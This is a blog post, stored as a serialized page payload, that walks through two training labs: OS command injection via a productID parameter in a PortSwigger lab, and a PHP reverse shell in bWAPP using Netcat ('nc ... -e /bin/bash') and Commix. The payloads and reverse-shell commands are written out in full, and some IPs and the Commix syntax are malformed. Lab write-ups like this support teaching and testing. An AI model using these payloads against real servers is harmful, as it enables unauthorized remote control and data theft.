[{"data":1,"prerenderedAt":627},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-master-code-injection-attacks-ethically-1":33,"post-nav-master-code-injection-attacks-ethically-1":605,"video-master-code-injection-attacks-ethically-1":617,"i-tabler:copy":625},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-13","2026-11-30","Cache Poisoning:",{"href":8,"label":9},"\u002Fcache-poisoning-the-cache-you-cant-purge","Read it","The cache you can't purge.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":590,"coverImage":594,"date":595,"description":596,"draft":14,"extension":597,"meta":598,"navigation":30,"noindex":14,"path":599,"readingTime":600,"seo":601,"slug":602,"stem":602,"updatedAt":603,"youtubeId":42,"__hash__":604},"blog\u002Fmaster-code-injection-attacks-ethically-1.md","Master Code Injection Attacks, Ethically! 🔐",{"type":37,"value":38,"toc":577},"minimark",[39,43,48,57,76,80,86,97,101,114,119,151,157,208,214,218,234,238,243,246,402,406,411,423,428,485,490,531,541,547,567,573],[40,41],"post-media",{"video":42},"YnE6PxGlWTA",[44,45,47],"h2",{"id":46},"introduction","Introduction",[49,50,51,52,56],"p",{},"Imagine being able to inject your own code into a website, granting you remote control over an entire server. This is the power of a ",[53,54,55],"strong",{},"Code Injection Attack",". As one of the most severe vulnerabilities, it allows attackers to exploit web applications by injecting malicious code into backend systems, gaining access to valuable data or even full control over the server.",[49,58,59,60,63,64,67,68,71,72,75],{},"In today’s article, we will walk through two live labs demonstrating ",[53,61,62],{},"Code Injection Attacks",". First, we will use the ",[53,65,66],{},"PortSwigger Lab"," to inject simple OS commands. Then, we will elevate the attack in the ",[53,69,70],{},"BWAP Lab",", where we’ll automate the process using the powerful tool ",[53,73,74],{},"Commix"," to gain full remote access. Grab your coffee and follow along as we dive into these exciting labs!",[44,77,79],{"id":78},"what-is-a-code-injection-attack","What is a Code Injection Attack?",[49,81,82,83,85],{},"A ",[53,84,55],{}," occurs when an attacker exploits an input field in a web application to run unauthorized code on a server. It usually targets poorly secured input forms like search bars, login forms, or data entry points. The goal is to inject code written in the server’s backend language, whether it’s PHP, Python, or Node.js, thus executing commands on the server.",[49,87,88,89,93,94,96],{},"For instance, with code injection, you can execute commands like ",[90,91,92],"code",{},"whoami"," to identify the current server user, or escalate the attack by injecting code that opens a reverse shell, providing full remote access. The potential impact of a successful ",[53,95,55],{}," ranges from stealing sensitive data to taking full control over the server, making it a critical security flaw.",[44,98,100],{"id":99},"lab-1-code-injection-in-portswigger-lab","Lab 1: Code Injection in PortSwigger Lab",[49,102,103,104,106,107,109,110,113],{},"In the first lab, we’ll use ",[53,105,66],{}," to execute a basic command injection attack. Here, we’ll inject the ",[90,108,92],{}," command into the ",[90,111,112],{},"productID"," parameter to see which user is running the server.",[115,116,118],"h3",{"id":117},"steps","Steps:",[120,121,122,130,144],"ol",{},[123,124,125,126,129],"li",{},"Set up ",[53,127,128],{},"Burp Suite"," to intercept the traffic between the web application and the server.",[123,131,132,133,135,136],{},"Modify the ",[90,134,112],{}," parameter in the request to include the command injection payload:",[137,138,142],"pre",{"code":139,"language":140,"meta":141},"productID=1+&whoami#&storeId=1\n","text","",[90,143,139],{},[123,145,146,147,150],{},"Execute the command and observe the response from the server, which reveals the current user (e.g., ",[90,148,149],{},"peter-tGLt5E",").",[49,152,153,156],{},[53,154,155],{},"Code Example (Burp Suite Command Injection)",":",[137,158,162],{"code":159,"language":160,"meta":141,"className":161,"style":141},"POST \u002Fproduct\u002Fstock HTTP\u002F1.1\nHost: ace51f2e1e13420ac0d9be100072005a.web-security-academy.net\n...\nproductID=1+&whoami#&storeId=1\n","http","shiki shiki-themes vitesse-dark vitesse-light",[90,163,164,187,197,203],{},[165,166,169,173,177,180,183],"span",{"class":167,"line":168},"line",1,[165,170,172],{"class":171},"sR8n-","POST",[165,174,176],{"class":175},"sG2Fq"," \u002Fproduct\u002Fstock ",[165,178,179],{"class":171},"HTTP",[165,181,182],{"class":175},"\u002F",[165,184,186],{"class":185},"sUQhE","1.1\n",[165,188,190,193],{"class":167,"line":189},2,[165,191,192],{"class":171},"Host:",[165,194,196],{"class":195},"sRRDT"," ace51f2e1e13420ac0d9be100072005a.web-security-academy.net\n",[165,198,200],{"class":167,"line":199},3,[165,201,202],{"class":175},"...\n",[165,204,206],{"class":167,"line":205},4,[165,207,139],{"class":175},[49,209,210,211,213],{},"In this case, the server responds with the username ",[90,212,149],{},". While this may seem like a small piece of information, it is a vital first step in understanding the privileges and permissions of the current server user.",[44,215,217],{"id":216},"lab-2-gaining-remote-access-in-bwap-lab-using-commix","Lab 2: Gaining Remote Access in BWAP Lab using Commix",[49,219,220,221,223,224,226,227,230,231,233],{},"In this lab, we’ll perform a more advanced ",[53,222,55],{}," using the ",[53,225,70],{},". Our goal is to gain full remote control of the server by injecting a ",[53,228,229],{},"PHP reverse shell"," command. This will allow us to open a backdoor on the server and interact with it through a terminal. To automate the process, we will be using ",[53,232,74],{},", a tool that simplifies command injection attacks.",[115,235,237],{"id":236},"why-use-commix","Why Use Commix?",[49,239,240,242],{},[53,241,74],{}," automates the process of finding and exploiting vulnerabilities in web applications. Instead of manually testing each input field, Commix will find injection points and allow us to execute commands directly on the server. This makes it ideal for situations like this, where repetitive tasks such as testing for vulnerabilities can slow you down.",[115,244,118],{"id":245},"steps-1",[120,247,248,280,301,372],{},[123,249,250,156,253,272,275,276,279],{},[53,251,252],{},"Set up Netcat on your machine to listen for incoming connections",[137,254,257],{"code":255,"language":256,"meta":141,"className":161,"style":141},"nc -nlvp 4444\n","bash",[90,258,259],{},[165,260,261,265,269],{"class":167,"line":168},[165,262,264],{"class":263},"swzfi","nc",[165,266,268],{"class":267},"se4ZP"," -nlvp",[165,270,271],{"class":185}," 4444\n",[273,274],"br",{},"This opens a listener on port ",[90,277,278],{},"4444"," on your machine, which will be used to catch the reverse shell connection from the vulnerable server.",[123,281,282,285,286,291,293,294,297,298,300],{},[53,283,284],{},"Prepare the reverse shell command",": In the vulnerable web application, inject the following PHP command to open a reverse shell:",[137,287,289],{"code":288,"language":140,"meta":141},"\u002Fphpi.php?message=test; system(nc 192.168.0.000 4444 -e \u002Fbin\u002Fbash);\n",[90,290,288],{},[273,292],{},"This command tells the server to connect back to your machine (",[90,295,296],{},"192.168.0.000",") on port ",[90,299,278],{}," and open a bash shell for remote access.",[123,302,303,306,307,309,310,367,369,371],{},[53,304,305],{},"Execute the reverse shell injection using Commix",": With ",[53,308,74],{},", automate the injection of the PHP reverse shell command:",[137,311,313],{"code":312,"language":256,"meta":141,"className":161,"style":141},"commix --url=\u003Chttps:\u002F\u002F192.168.0.001\u002FbWAPP\u002Fphpi.php?message=test>; system('nc 192.168.0.000 4444 -e \u002Fbin\u002Fbash') --cookie=security_level=0\n",[90,314,315],{},[165,316,317,320,323,327,330,333,336,339,343,346,349,352,356,359,362,364],{"class":167,"line":168},[165,318,319],{"class":263},"commix",[165,321,322],{"class":267}," --url=",[165,324,326],{"class":325},"sfIIG","\u003C",[165,328,329],{"class":267},"https:\u002F\u002F192.168.0.001\u002FbWAPP\u002Fphpi.php",[165,331,332],{"class":325},"?",[165,334,335],{"class":267},"message=test",[165,337,338],{"class":325},">",[165,340,342],{"class":341},"somML",";",[165,344,345],{"class":263}," system(",[165,347,348],{"class":263},"'nc 192.168.0.000 4444 -e \u002Fbin\u002Fbash'",[165,350,351],{"class":175},") ",[165,353,355],{"class":354},"snInM","--cookie",[165,357,358],{"class":341},"=",[165,360,361],{"class":354},"security_level",[165,363,358],{"class":341},[165,365,366],{"class":195},"0\n",[273,368],{},[53,370,74],{}," will find the vulnerable injection point and execute the reverse shell command, connecting the server back to your listener.",[123,373,374,377,378,399,401],{},[53,375,376],{},"Gain full access",": Once the reverse shell is open, you can now run commands on the remote server as if you were physically present:",[137,379,381],{"code":380,"language":256,"meta":141,"className":161,"style":141},"whoami\nls\npwd\n",[90,382,383,388,393],{},[165,384,385],{"class":167,"line":168},[165,386,387],{"class":263},"whoami\n",[165,389,390],{"class":167,"line":189},[165,391,392],{"class":263},"ls\n",[165,394,395],{"class":167,"line":199},[165,396,398],{"class":397},"s6_DI","pwd\n",[273,400],{},"This gives you full control over the server, allowing you to navigate directories, execute commands, and further escalate privileges if necessary.",[115,403,405],{"id":404},"code-snippets","Code Snippets",[49,407,408,156],{},[53,409,410],{},"Netcat Listener",[137,412,413],{"code":255,"language":256,"meta":141,"className":161,"style":141},[90,414,415],{},[165,416,417,419,421],{"class":167,"line":168},[165,418,264],{"class":263},[165,420,268],{"class":267},[165,422,271],{"class":185},[49,424,425,156],{},[53,426,427],{},"PHP Reverse Shell Injection",[137,429,432],{"code":430,"language":431,"meta":141,"className":161,"style":141},"system(nc 192.168.0.117 4444 -e \u002Fbin\u002Fbash);\n","php",[90,433,434],{},[165,435,436,439,442,444,447,450,453,455,458,460,463,466,469,472,475,478,480,482],{"class":167,"line":168},[165,437,438],{"class":397},"system",[165,440,441],{"class":341},"(",[165,443,264],{"class":267},[165,445,446],{"class":185}," 192",[165,448,449],{"class":341},".",[165,451,452],{"class":185},"168",[165,454,449],{"class":341},[165,456,457],{"class":185},"0",[165,459,449],{"class":341},[165,461,462],{"class":185},"117",[165,464,465],{"class":185}," 4444",[165,467,468],{"class":325}," -",[165,470,471],{"class":267},"e",[165,473,474],{"class":325}," \u002F",[165,476,477],{"class":267},"bin",[165,479,182],{"class":325},[165,481,256],{"class":267},[165,483,484],{"class":341},");\n",[49,486,487,156],{},[53,488,489],{},"Commix Command",[137,491,493],{"code":492,"language":256,"meta":141,"className":161,"style":141},"commix --url=\u003Chttps:\u002F\u002F192.168.0.109\u002FbWAPP\u002Fphpi.php?message=test>; system('nc 192.168.0.117 4444 -e \u002Fbin\u002Fbash') --cookie=security_level=0\n",[90,494,495],{},[165,496,497,499,501,503,506,508,510,512,514,516,519,521,523,525,527,529],{"class":167,"line":168},[165,498,319],{"class":263},[165,500,322],{"class":267},[165,502,326],{"class":325},[165,504,505],{"class":267},"https:\u002F\u002F192.168.0.109\u002FbWAPP\u002Fphpi.php",[165,507,332],{"class":325},[165,509,335],{"class":267},[165,511,338],{"class":325},[165,513,342],{"class":341},[165,515,345],{"class":263},[165,517,518],{"class":263},"'nc 192.168.0.117 4444 -e \u002Fbin\u002Fbash'",[165,520,351],{"class":175},[165,522,355],{"class":354},[165,524,358],{"class":341},[165,526,361],{"class":354},[165,528,358],{"class":341},[165,530,366],{"class":195},[49,532,533,534,536,537,540],{},"By using ",[53,535,74],{}," and ",[53,538,539],{},"Netcat",", we’ve successfully taken control of the target machine. This demonstrates the potential danger of code injection vulnerabilities when attackers can escalate privileges and take full control of a server.",[44,542,544],{"id":543},"conclusion",[53,545,546],{},"Conclusion",[49,548,549,550,552,553,555,556,558,559,561,562,536,564,566],{},"In this article, we explored the power of ",[53,551,62],{}," through two practical labs. First, we used ",[53,554,66],{}," to run a basic ",[90,557,92],{}," command, providing insights into the server environment. Then, we escalated the attack in the ",[53,560,70],{},", using ",[53,563,74],{},[53,565,539],{}," to gain full remote access.",[49,568,569,570,572],{},"Whether you’re a security professional or a curious learner, understanding ",[53,571,62],{}," is vital for protecting systems from these vulnerabilities. Don’t forget to like, subscribe, and check out the video for a more detailed walkthrough. Stay secure, and stay curious!",[574,575,576],"style",{},"html pre.shiki code .sR8n-, html code.shiki .sR8n-{--shiki-default:#4D9375;--shiki-light:#1E754F}html pre.shiki code .sG2Fq, html code.shiki .sG2Fq{--shiki-default:#DBD7CAEE;--shiki-light:#393A34}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .se4ZP, html code.shiki .se4ZP{--shiki-default:#C99076;--shiki-light:#A65E2B}html pre.shiki code .sfIIG, html code.shiki .sfIIG{--shiki-default:#CB7676;--shiki-light:#AB5959}html pre.shiki code .somML, html code.shiki .somML{--shiki-default:#666666;--shiki-light:#999999}html pre.shiki code .snInM, html code.shiki .snInM{--shiki-default:#BD976A;--shiki-light:#B07D48}html pre.shiki code .s6_DI, html code.shiki .s6_DI{--shiki-default:#B8A965;--shiki-light:#998418}",{"title":141,"searchDepth":199,"depth":199,"links":578},[579,580,581,584,589],{"id":46,"depth":189,"text":47},{"id":78,"depth":189,"text":79},{"id":99,"depth":189,"text":100,"children":582},[583],{"id":117,"depth":199,"text":118},{"id":216,"depth":189,"text":217,"children":585},[586,587,588],{"id":236,"depth":199,"text":237},{"id":245,"depth":199,"text":118},{"id":404,"depth":199,"text":405},{"id":543,"depth":189,"text":546},[591,592,593],"Bug Bounty","Linux","Penetration Testing","\u002Fimages\u002Fblog\u002Fmaster-code-injection-attacks-ethically-1\u002Fcode-injection-attack.webp","2024-09-25","Two hands-on code injection labs: injecting OS commands in a PortSwigger lab, then escalating to a PHP reverse shell in bWAPP automated with Commix.","md",{},"\u002Fmaster-code-injection-attacks-ethically-1",null,{"title":35,"description":596},"master-code-injection-attacks-ethically-1","2025-06-05","Ur1HeC2aF1qWC6z58W4UQqD1wl7HRzCSoJyoIop7-MA",{"older":606,"newer":611,"total":616},{"slug":607,"title":608,"date":609,"position":610},"build-your-private-local-ai-server-right-now","Build Your Private Local AI Server Right Now!","2024-08-28",43,{"slug":612,"title":613,"date":614,"position":615},"1-bug-bounty","$1 Bug Bounty","2024-10-07",41,68,{"id":42,"title":35,"published":618,"url":619,"description":620,"durationSeconds":621,"viewCount":622,"thumbnail":623,"thumbnailSrcset":624},"2024-09-25T14:00:37Z","https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=YnE6PxGlWTA","🚨 Learn Code Injection Attacks 🚨 In this video, we dive into real labs with PortSwigger and BWAP, showing you how to exploit vulnerabilities using Commix and Netcat. Perfect for cybersecurity enthusiasts and pros alike! 💻 Hands-on, Practical, and Powerful Knowledge! 💻",1016,4046,"\u002Fimages\u002Fvideos\u002FYnE6PxGlWTA-800.webp","\u002Fimages\u002Fvideos\u002FYnE6PxGlWTA-800.webp 800w, \u002Fimages\u002Fvideos\u002FYnE6PxGlWTA-1280.webp 1280w",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":626},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1791941258131]